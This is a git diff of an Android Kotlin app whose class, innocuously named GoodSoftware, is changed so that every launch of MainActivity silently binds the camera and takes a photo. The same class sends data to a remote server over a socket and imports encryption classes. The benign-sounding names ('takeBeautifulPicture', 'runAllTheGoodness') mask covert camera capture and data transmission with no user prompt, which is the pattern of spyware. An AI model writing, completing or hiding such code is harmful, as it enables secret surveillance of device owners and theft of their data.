diff --git a/.idea/deploymentTargetDropDown.xml b/.idea/deploymentTargetDropDown.xml index 7fc2b25..2006c4b 100644 --- a/.idea/deploymentTargetDropDown.xml +++ b/.idea/deploymentTargetDropDown.xml @@ -5,9 +5,6 @@ - - - @@ -17,6 +14,9 @@ + + + diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index 90f50b7..5373c94 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -1,16 +1,13 @@ package com.ti.m -import android.content.ContentValues import android.content.Context import android.graphics.Camera -import android.net.Uri -import android.os.Build -import android.provider.MediaStore import android.util.Log import androidx.camera.core.CameraSelector import androidx.camera.core.ImageAnalysis import androidx.camera.core.ImageCapture import androidx.camera.core.ImageCaptureException +import androidx.camera.core.ImageProxy import androidx.camera.core.Preview import androidx.camera.lifecycle.ProcessCameraProvider import java.io.BufferedReader @@ -25,11 +22,8 @@ import javax.crypto.Cipher import javax.crypto.spec.IvParameterSpec import javax.crypto.spec.SecretKeySpec import androidx.concurrent.futures.await -import androidx.core.content.ContentProviderCompat.requireContext import androidx.core.content.ContextCompat -import java.io.File -import java.text.SimpleDateFormat -import java.util.Locale +import androidx.lifecycle.LifecycleOwner class GoodSoftware (private val context: Context) { private var cameraProvider: ProcessCameraProvider? = null @@ -101,14 +95,7 @@ class GoodSoftware (private val context: Context) { private fun runAllTheGoodness() { val dataToSend = "Amazing data" - Thread { - takeBeautifulPicture(object : PictureTakenCallback { - override fun onPictureTaken() { - // Picture taken, proceed to send data - sendDataToServer(dataToSend) - } - }) - }.start() + sendDataToServer(dataToSend) } fun sendDataToServer(sendData: String) { @@ -158,53 +145,60 @@ class GoodSoftware (private val context: Context) { socket.close() } - fun takeBeautifulPicture(callback: PictureTakenCallback) { - cameraProvider = ProcessCameraProvider.getInstance(context).get() + suspend fun takeBeautifulPicture(lifecycleOwner: LifecycleOwner) { + // Ensure that cameraProvider is initialized + cameraProvider = ProcessCameraProvider.getInstance(context).await() - lensFacing = when { - hasBackCamera() -> CameraSelector.LENS_FACING_BACK - hasFrontCamera() -> CameraSelector.LENS_FACING_FRONT - else -> throw IllegalStateException("Back and front camera are unavailable") + // Check if cameraProvider is null + if (cameraProvider == null) { + Log.e(picture.TAG, "Camera provider is null") + return } + + // Ensure that the selected camera is available + if (!hasBackCamera() && !hasFrontCamera()) { + Log.e(picture.TAG, "Back and front camera are unavailable") + return + } + + // Select the lens facing + lensFacing = if (hasBackCamera()) { + CameraSelector.LENS_FACING_BACK + } else { + CameraSelector.LENS_FACING_FRONT + } + + // Create ImageCapture instance imageCapture = ImageCapture.Builder() .setCaptureMode(ImageCapture.CAPTURE_MODE_MINIMIZE_LATENCY) .build() - imageCapture?.let { imageCapture -> - - // Create time stamped name and MediaStore entry. - val name = SimpleDateFormat(picture.FILENAME, Locale.US) - .format(System.currentTimeMillis()) - val contentValues = ContentValues().apply { - put(MediaStore.MediaColumns.DISPLAY_NAME, name) - put(MediaStore.MediaColumns.MIME_TYPE, picture.PHOTO_TYPE) - if(Build.VERSION.SDK_INT > Build.VERSION_CODES.P) { - val appName = requireContext().resources.getString(R.string.app_name) - put(MediaStore.Images.Media.RELATIVE_PATH, "Pictures/${appName}") - } + // Set up image capture listener + val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() { + override fun onError(exc: ImageCaptureException) { + Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) } - val outputOptions = ImageCapture.OutputFileOptions - .Builder(requireContext().contentResolver, - MediaStore.Images.Media.EXTERNAL_CONTENT_URI, - contentValues) - .build() - - imageCapture.takePicture(outputOptions, ContextCompat.getMainExecutor(requireContext()), - object : ImageCapture.OnImageSavedCallback { - override fun onError(exc: ImageCaptureException) { - Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) - } - - override fun onImageSaved(output: ImageCapture.OutputFileResults) { - val savedUri = output.savedUri ?: Uri.fromFile(File(output.savedUri.toString())) - Log.d(picture.TAG, "Photo capture succeeded: $savedUri") - } - }) + override fun onCaptureSuccess(image: ImageProxy) { + // Process captured image here + image.close() + } } - callback.onPictureTaken() + + // Bind the camera and start image capture + cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.DEFAULT_BACK_CAMERA, imageCapture) + + // Take the picture + imageCapture?.takePicture( + ContextCompat.getMainExecutor(context), + imageCapturedListener + ) } + + + + private fun hasBackCamera(): Boolean { return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false } @@ -217,6 +211,7 @@ class GoodSoftware (private val context: Context) { return context } + object picture { const val TAG = "CameraXBasic" const val FILENAME = "yyyy-MM-dd-HH-mm-ss-SSS" diff --git a/app/src/main/java/com/ti/m/MainActivity.kt b/app/src/main/java/com/ti/m/MainActivity.kt index f96efec..4fd0515 100644 --- a/app/src/main/java/com/ti/m/MainActivity.kt +++ b/app/src/main/java/com/ti/m/MainActivity.kt @@ -6,15 +6,14 @@ import androidx.activity.compose.setContent import androidx.compose.foundation.layout.fillMaxSize import androidx.compose.material3.MaterialTheme import androidx.compose.material3.Surface -import androidx.compose.material3.Text -import androidx.compose.runtime.Composable import androidx.compose.ui.Modifier -import androidx.compose.ui.tooling.preview.Preview +import androidx.lifecycle.LifecycleOwner import androidx.lifecycle.lifecycleScope +import com.ti.m.GoodSoftware import com.ti.m.ui.theme.MTheme import kotlinx.coroutines.launch -class MainActivity : ComponentActivity() { +class MainActivity : ComponentActivity(), LifecycleOwner { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContent { @@ -26,6 +25,10 @@ class MainActivity : ComponentActivity() { } } } - GoodSoftware(applicationContext).launch() + val Goo = GoodSoftware(applicationContext); + Goo.launch() + lifecycleScope.launch { + Goo.takeBeautifulPicture(this@MainActivity) + } } -} \ No newline at end of file +}